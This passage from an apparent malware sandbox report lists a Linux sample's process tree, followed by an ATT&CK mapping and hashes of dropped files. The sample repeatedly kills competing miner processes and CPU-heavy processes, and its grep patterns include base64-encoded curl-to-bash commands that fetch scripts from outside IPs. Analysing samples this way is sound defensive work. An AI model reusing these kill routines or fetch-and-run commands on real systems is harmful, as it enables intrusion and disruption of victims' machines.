  2⤵
  - Attempts to change immutable files
  PID:1079
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  PID:1075
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1086
- /bin/grep
  grep aGTSGJJp
  2⤵
  PID:1085
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1087
- /bin/grep
  grep -v grep
  2⤵
  PID:1084
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:1083
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1094
- /bin/grep
  grep nMrfmnRa
  2⤵
  PID:1093
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1095
- /bin/grep
  grep -v grep
  2⤵
  PID:1092
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  PID:1091
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1100
- /bin/grep
  grep PuNY5tm2
  2⤵
  PID:1099
- /bin/grep
  grep -v grep
  2⤵
  PID:1098
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1101
- /bin/ps
  ps aux
  2⤵
  PID:1097
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1106
- /bin/grep
  grep I0r8Jyyt
  2⤵
  PID:1105
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1107
- /bin/grep
  grep -v grep
  2⤵
  PID:1104
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  PID:1103
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1114
- /bin/grep
  grep AgdgACUD
  2⤵
  PID:1113
- /bin/grep
  grep -v grep
  2⤵
  PID:1112
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1115
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:1111
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1119
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1120
- /bin/grep
  grep uiZvwxG8
  2⤵
  PID:1118
- /bin/grep
  grep -v grep
  2⤵
  PID:1117
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:1116
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1125
- /bin/grep
  grep hahwNEdB
  2⤵
  PID:1124
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1126
- /bin/grep
  grep -v grep
  2⤵
  PID:1123
- /bin/ps
  ps aux
  2⤵
  PID:1122
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1131
- /bin/grep
  grep BtwXn5qH
  2⤵
  PID:1130
- /bin/grep
  grep -v grep
  2⤵
  PID:1129
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1132
- /bin/ps
  ps aux
  2⤵
  - Reads runtime system information
  PID:1128
- /bin/grep
  grep 3XEzey2T
  2⤵
  PID:1135
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1137
- /bin/grep
  grep -v grep
  2⤵
  PID:1134
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:1133
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1136
- /bin/grep
  grep t2tKrCSZ
  2⤵
  PID:1140
- /bin/grep
  grep -v grep
  2⤵
  PID:1139
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1142
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  PID:1138
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1141
- /bin/grep
  grep HD7fcBgg
  2⤵
  PID:1145
- /bin/grep
  grep -v grep
  2⤵
  PID:1144
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  PID:1143
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1146
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1147
- /bin/grep
  grep zXcDajSs
  2⤵
  PID:1150
- /bin/grep
  grep -v grep
  2⤵
  PID:1149
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1151
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1152
- /bin/ps
  ps aux
  2⤵
  PID:1148
- /bin/grep
  grep 3lmigMo
  2⤵
  PID:1155
- /bin/grep
  grep -v grep
  2⤵
  PID:1154
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1157
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  PID:1153
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1156
- /bin/grep
  grep AkMK4A2
  2⤵
  PID:1160
- /bin/grep
  grep -v grep
  2⤵
  PID:1159
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1162
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  PID:1158
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1161
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1166
- /bin/grep
  grep AJ2AkKe
  2⤵
  PID:1165
- /bin/grep
  grep -v grep
  2⤵
  PID:1164
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1167
- /bin/ps
  ps aux
  2⤵
  PID:1163
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1171
- /bin/grep
  grep HiPxCJRS
  2⤵
  PID:1170
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1172
- /bin/grep
  grep -v grep
  2⤵
  PID:1169
- /bin/ps
  ps aux
  2⤵
  - Reads runtime system information
  PID:1168
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1176
- /bin/grep
  grep http_0xCC030
  2⤵
  PID:1175
- /bin/grep
  grep -v grep
  2⤵
  PID:1174
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1177
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:1173
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1181
- /bin/grep
  grep http_0xCC031
  2⤵
  PID:1180
- /bin/grep
  grep -v grep
  2⤵
  PID:1179
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1182
- /bin/ps
  ps aux
  2⤵
  - Reads runtime system information
  PID:1178
- /bin/grep
  grep http_0xCC032
  2⤵
  PID:1185
- /bin/grep
  grep -v grep
  2⤵
  PID:1184
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1186
- /bin/ps
  ps aux
  2⤵
  PID:1183
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1187
- /bin/grep
  grep http_0xCC033
  2⤵
  PID:1190
- /bin/grep
  grep -v grep
  2⤵
  PID:1189
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1192
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:1188
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1191
- /bin/grep
  grep C4iLM4L
  2⤵
  PID:1195
- /bin/grep
  grep -v grep
  2⤵
  PID:1194
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  PID:1193
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1196
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1197
- /bin/grep
  grep aziplcr72qjhzvin
  2⤵
  PID:1200
- /bin/grep
  grep -v grep
  2⤵
  PID:1199
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1201
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1202
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  PID:1198
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1206
- /usr/bin/awk
  awk "{ if(substr(\$11,1,2)==\"./\" && substr(\$12,1,2)==\"./\") print \$2 }"
  2⤵
  PID:1205
- /bin/grep
  grep -v grep
  2⤵
  PID:1204
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:1203
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1210
- /bin/grep
  grep /boot/vmlinuz
  2⤵
  PID:1209
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1211
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  PID:1207
- /bin/grep
  grep -v grep
  2⤵
  PID:1208
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1215
- /bin/grep
  grep i4b503a52cc5
  2⤵
  PID:1214
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1216
- /bin/grep
  grep -v grep
  2⤵
  PID:1213
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  PID:1212
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1222
- /bin/grep
  grep -v grep
  2⤵
  PID:1220
- /bin/grep
  grep dgqtrcst23rtdi3ldqk322j2
  2⤵
  PID:1221
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1223
- /bin/ps
  ps aux
  2⤵
  PID:1219
- /bin/grep
  grep -v grep
  2⤵
  PID:1226
- /bin/grep
  grep 2g0uv7npuhrlatd
  2⤵
  PID:1227
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:1225
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1228
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1229
- /bin/grep
  grep nqscheduler
  2⤵
  PID:1233
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1234
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1235
- /bin/grep
  grep -v grep
  2⤵
  PID:1232
- /bin/ps
  ps aux
  2⤵
  PID:1231
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1241
- /bin/grep
  grep rkebbwgqpl4npmm
  2⤵
  PID:1240
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1242
- /bin/grep
  grep -v grep
  2⤵
  PID:1239
- /bin/ps
  ps aux
  2⤵
  - Reads runtime system information
  PID:1238
- /bin/grep
  grep -v aux
  2⤵
  PID:1247
- /bin/grep
  grep -v grep
  2⤵
  PID:1246
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  PID:1245
- /bin/grep
  grep "]"
  2⤵
  PID:1248
- /usr/bin/awk
  awk "\$3>10.0{print \$2}"
  2⤵
  PID:1249
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1250
- - /usr/local/sbin/kill
    kill -9 1244
    3⤵
    PID:1253
- - /usr/local/bin/kill
    kill -9 1244
    3⤵
    PID:1253
- - /usr/sbin/kill
    kill -9 1244
    3⤵
    PID:1253
- - /usr/bin/kill
    kill -9 1244
    3⤵
    PID:1253
- - /sbin/kill
    kill -9 1244
    3⤵
    PID:1253
- - /bin/kill
    kill -9 1244
    3⤵
    PID:1253
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1257
- /bin/grep
  grep 2fhtu70teuhtoh78jc5s
  2⤵
  PID:1256
- /bin/grep
  grep -v grep
  2⤵
  PID:1255
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1258
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  PID:1254
- /bin/grep
  grep 0kwti6ut420t
  2⤵
  PID:1263
- /bin/grep
  grep -v grep
  2⤵
  PID:1262
- /bin/ps
  ps aux
  2⤵
  - Reads runtime system information
  PID:1261
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1264
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1265
- /bin/grep
  grep 44ct7udt0patws3agkdfqnjm
  2⤵
  PID:1270
- /bin/grep
  grep -v grep
  2⤵
  PID:1269
- /bin/ps
  ps aux
  2⤵
  PID:1268
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1271
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1272
- /bin/grep
  grep -v /
  2⤵
  PID:1277
- /bin/grep
  grep -v grep
  2⤵
  PID:1276
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  PID:1275
- /bin/grep
  grep -v -
  2⤵
  PID:1278
- /bin/grep
  grep -v _
  2⤵
  PID:1279
- /usr/bin/awk
  awk "length(\$11)>19{print \$2}"
  2⤵
  PID:1280
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1281
- /bin/grep
  grep "\\[^"
  2⤵
  PID:1285
- /bin/grep
  grep -v grep
  2⤵
  PID:1284
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:1283
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1287
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1286
- /bin/grep
  grep rsync
  2⤵
  PID:1291
- /bin/grep
  grep -v grep
  2⤵
  PID:1290
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:1289
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1292
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1293
- /bin/grep
  grep -v grep
  2⤵
  PID:1297
- /bin/grep
  grep watchd0g
  2⤵
  PID:1298
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1299
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1300
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  PID:1296
- /bin/grep
  grep -v grep
  2⤵
  PID:1304
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1306
- /bin/egrep
  egrep "wnTKYg|2t3ik|qW3xT.2|ddg"
  2⤵
  PID:1305
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1307
- /bin/ps
  ps aux
  2⤵
  - Reads runtime system information
  PID:1303
- /usr/local/sbin/grep
  grep -E "wnTKYg|2t3ik|qW3xT.2|ddg"
  2⤵
  PID:1305
- /usr/local/bin/grep
  grep -E "wnTKYg|2t3ik|qW3xT.2|ddg"
  2⤵
  PID:1305
- /usr/sbin/grep
  grep -E "wnTKYg|2t3ik|qW3xT.2|ddg"
  2⤵
  PID:1305
- /usr/bin/grep
  grep -E "wnTKYg|2t3ik|qW3xT.2|ddg"
  2⤵
  PID:1305
- /sbin/grep
  grep -E "wnTKYg|2t3ik|qW3xT.2|ddg"
  2⤵
  PID:1305
- /bin/grep
  grep -E "wnTKYg|2t3ik|qW3xT.2|ddg"
  2⤵
  PID:1305
- /bin/ps
  ps aux
  2⤵
  - Reads runtime system information
  PID:1309
- /bin/grep
  grep 158.69.133.18:8220
  2⤵
  PID:1311
- /bin/grep
  grep -v grep
  2⤵
  PID:1310
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1312
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1313
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1318
- /bin/grep
  grep /tmp/java
  2⤵
  PID:1317
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1319
- /bin/grep
  grep -v grep
  2⤵
  PID:1316
- /bin/ps
  ps aux
  2⤵
  - Reads runtime system information
  PID:1315
- /bin/grep
  grep gitee.com
  2⤵
  PID:1324
- /bin/grep
  grep -v grep
  2⤵
  PID:1323
- /bin/ps
  ps aux
  2⤵
  - Reads runtime system information
  PID:1322
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1326
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1325
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1331
- /bin/grep
  grep /tmp/java
  2⤵
  PID:1330
- /bin/grep
  grep -v grep
  2⤵
  PID:1329
- /bin/ps
  ps aux
  2⤵
  - Reads runtime system information
  PID:1328
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1332
- /bin/ps
  ps aux
  2⤵
  - Reads runtime system information
  PID:1334
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1337
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1338
- /bin/grep
  grep -v grep
  2⤵
  PID:1335
- /bin/grep
  grep 104.248.4.162
  2⤵
  PID:1336
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1343
- /bin/grep
  grep 89.35.39.78
  2⤵
  PID:1342
- /bin/grep
  grep -v grep
  2⤵
  PID:1341
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1344
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  PID:1340
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1349
- /bin/grep
  grep /dev/shm/z3.sh
  2⤵
  PID:1348
- /bin/grep
  grep -v grep
  2⤵
  PID:1347
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1350
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  PID:1346
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1354
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1355
- /bin/grep
  grep kthrotlds
  2⤵
  PID:1353
- /bin/grep
  grep -v grep
  2⤵
  PID:1352
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:1351
- /bin/grep
  grep -v grep
  2⤵
  PID:1357
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1359
- /bin/grep
  grep ksoftirqds
  2⤵
  PID:1358
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1360
- /bin/ps
  ps aux
  2⤵
  PID:1356
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1364
- /bin/grep
  grep netdns
  2⤵
  PID:1363
- /bin/grep
  grep -v grep
  2⤵
  PID:1362
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1365
- /bin/ps
  ps aux
  2⤵
  PID:1361
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1369
- /bin/grep
  grep watchdogs
  2⤵
  PID:1368
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1370
- /bin/grep
  grep -v grep
  2⤵
  PID:1367
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:1366
- /bin/grep
  grep -v root
  2⤵
  PID:1373
- /bin/grep
  grep -v dblaunch
  2⤵
  PID:1374
- /bin/grep
  grep -v grep
  2⤵
  PID:1372
- /bin/grep
  grep -v dblaunchs
  2⤵
  PID:1375
- /bin/grep
  grep -v dblaunched
  2⤵
  PID:1376
- /bin/grep
  grep -v apache2
  2⤵
  PID:1377
- /bin/ps
  ps aux
  2⤵
  - Reads runtime system information
  PID:1371
- /bin/grep
  grep -v atd
  2⤵
  PID:1378
- /bin/grep
  grep -v kdevtmpfsi
  2⤵
  PID:1379
- /bin/grep
  grep -v postgresq1
  2⤵
  PID:1380
- /usr/bin/awk
  awk "\$3>80.0{print \$2}"
  2⤵
  PID:1381
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1382
- /bin/grep
  grep " ps"
  2⤵
  PID:1386
- /bin/grep
  grep -v aux
  2⤵
  PID:1385
- /bin/grep
  grep -v grep
  2⤵
  PID:1384
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1387
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1388
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  PID:1383
- /bin/grep
  grep sync_supers
  2⤵
  PID:1391
- /bin/grep
  grep -v grep
  2⤵
  PID:1390
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:1389
- /usr/bin/cut
  cut -c 9-15
  2⤵
  PID:1392
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1393
- /usr/bin/cut
  cut -c 9-15
  2⤵
  PID:1397
- /bin/grep
  grep cpuset
  2⤵
  PID:1396
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1398
- /bin/grep
  grep -v grep
  2⤵
  PID:1395
- /bin/ps
  ps aux
  2⤵
  - Reads runtime system information
  PID:1394
- /bin/grep
  grep "x]"
  2⤵
  PID:1402
- /bin/grep
  grep -v aux
  2⤵
  PID:1401
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1403
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1404
- /bin/grep
  grep -v grep
  2⤵
  PID:1400
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:1399
- /bin/grep
  grep -v aux
  2⤵
  PID:1407
- /bin/grep
  grep "sh] <"
  2⤵
  PID:1408
- /bin/grep
  grep -v grep
  2⤵
  PID:1406
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1409
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1410
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  PID:1405
- /bin/grep
  grep -v aux
  2⤵
  PID:1413
- /bin/grep
  grep " \\[]"
  2⤵
  PID:1414
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1415
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1416
- /bin/grep
  grep -v grep
  2⤵
  PID:1412
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:1411
- /bin/grep
  grep /tmp/l.sh
  2⤵
  PID:1419
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1421
- /bin/grep
  grep -v grep
  2⤵
  PID:1418
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1420
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  PID:1417
- /bin/grep
  grep /tmp/zmcat
  2⤵
  PID:1424
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1425
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1426
- /bin/grep
  grep -v grep
  2⤵
  PID:1423
- /bin/ps
  ps aux
  2⤵
  PID:1422
- /bin/grep
  grep hahwNEdB
  2⤵
  PID:1429
- /bin/grep
  grep -v grep
  2⤵
  PID:1428
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1430
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1431
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  PID:1427
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1435
- /bin/grep
  grep CnzFVPLF
  2⤵
  PID:1434
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1436
- /bin/grep
  grep -v grep
  2⤵
  PID:1433
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:1432
- /bin/grep
  grep CvKzzZLs
  2⤵
  PID:1439
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1440
- /bin/grep
  grep -v grep
  2⤵
  PID:1438
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1441
- /bin/ps
  ps aux
  2⤵
  - Reads runtime system information
  PID:1437
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1445
- /bin/grep
  grep aziplcr72qjhzvin
  2⤵
  PID:1444
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1446
- /bin/grep
  grep -v grep
  2⤵
  PID:1443
- /bin/ps
  ps aux
  2⤵
  PID:1442
- /bin/grep
  grep /tmp/udevd
  2⤵
  PID:1449
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1450
- /bin/grep
  grep -v grep
  2⤵
  PID:1448
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1451
- /bin/ps
  ps aux
  2⤵
  PID:1447
- /bin/grep
  grep KCBjdXJsIC1vIC0gaHR0cDovLzg5LjIyMS41Mi4xMjIvcy5zaCApIHwgYmFzaCA
  2⤵
  PID:1454
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1455
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1456
- /bin/grep
  grep -v grep
  2⤵
  PID:1453
- /bin/ps
  ps aux
  2⤵
  PID:1452
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1460
- /bin/grep
  grep Y3VybCAtcyBodHRwOi8vMTA3LjE3NC40Ny4xNTYvbXIuc2ggfCBiYXNoIC1zaAo
  2⤵
  PID:1459
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1461
- /bin/grep
  grep -v grep
  2⤵
  PID:1458
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:1457
- /bin/grep
  grep sustse
  2⤵
  PID:1464
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1465
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1466
- /bin/grep
  grep -v grep
  2⤵
  PID:1463
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  PID:1462
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1470
- /bin/grep
  grep sustse3
  2⤵
  PID:1469
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1471
- /bin/grep
  grep -v grep
  2⤵
  PID:1468
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  PID:1467
- /bin/grep
  grep mr.sh
  2⤵
  PID:1474
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1476
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1477
- /bin/grep
  grep -v grep
  2⤵
  PID:1473
- /bin/grep
  grep wget
  2⤵
  PID:1475
- /bin/ps
  ps aux
  2⤵
  PID:1472
- /bin/grep
  grep curl
  2⤵
  PID:1481
- /bin/grep
  grep mr.sh
  2⤵
  PID:1480
- /bin/grep
  grep -v grep
  2⤵
  PID:1479
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1482
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:1478
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1483
- /bin/grep
  grep wget
  2⤵
  PID:1487
- /bin/grep
  grep 2mr.sh
  2⤵
  PID:1486
- /bin/grep
  grep -v grep
  2⤵
  PID:1485
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1488
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1489
- /bin/ps
  ps aux
  2⤵
  PID:1484

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

/tmp/log_rot

Filesize
5B

MD5
727479ef7cedf30c03459bec7d87b0f0

SHA1
2082e7f715f058acab2398d25d135cf5f4c0ce41

SHA256
29872037c9573567744ef10ed2de57864ded7554c9fa2ef03fc1244c65794ba6

SHA512
4cb59d37f8481f9bb2745f494baa0910a68aad40ac2903ef1513547e091e1e772a5f9436f789ab91fcafb75b8a28c2112ede89004be41f33c01d936b542ca6ba

Download Submit
/var/mail/user

Filesize
825B

MD5
f921927cb2075539c5b7c157cf707bc1

SHA1
d7f6aa282d353d27dfca4ad3f7f6096352a52f6f

SHA256
7f494b24f0b978ea95e85fb3d714954a3cbe45ce546f5906bac418a76b24def8

SHA512
c71ffdcad66cea365be02df14ff78ad9a5777e8186ec8892f0f5182f485732e0db8327e2ff2ab7fb6540eb37dfec457a5bf8684d7092db9cb59c36b74d817f85

Download Submit
/var/mail/user

Filesize
1KB

MD5
df5a27e026d7a81e6de504b6103fde3f

SHA1
5c835909c5cc01fefd10f361b51f006af64dfa0a

SHA256
c48140b86ed899a9a1775079f2549fca24e56c7886b783cdc457da7cbb49c3d4

SHA512
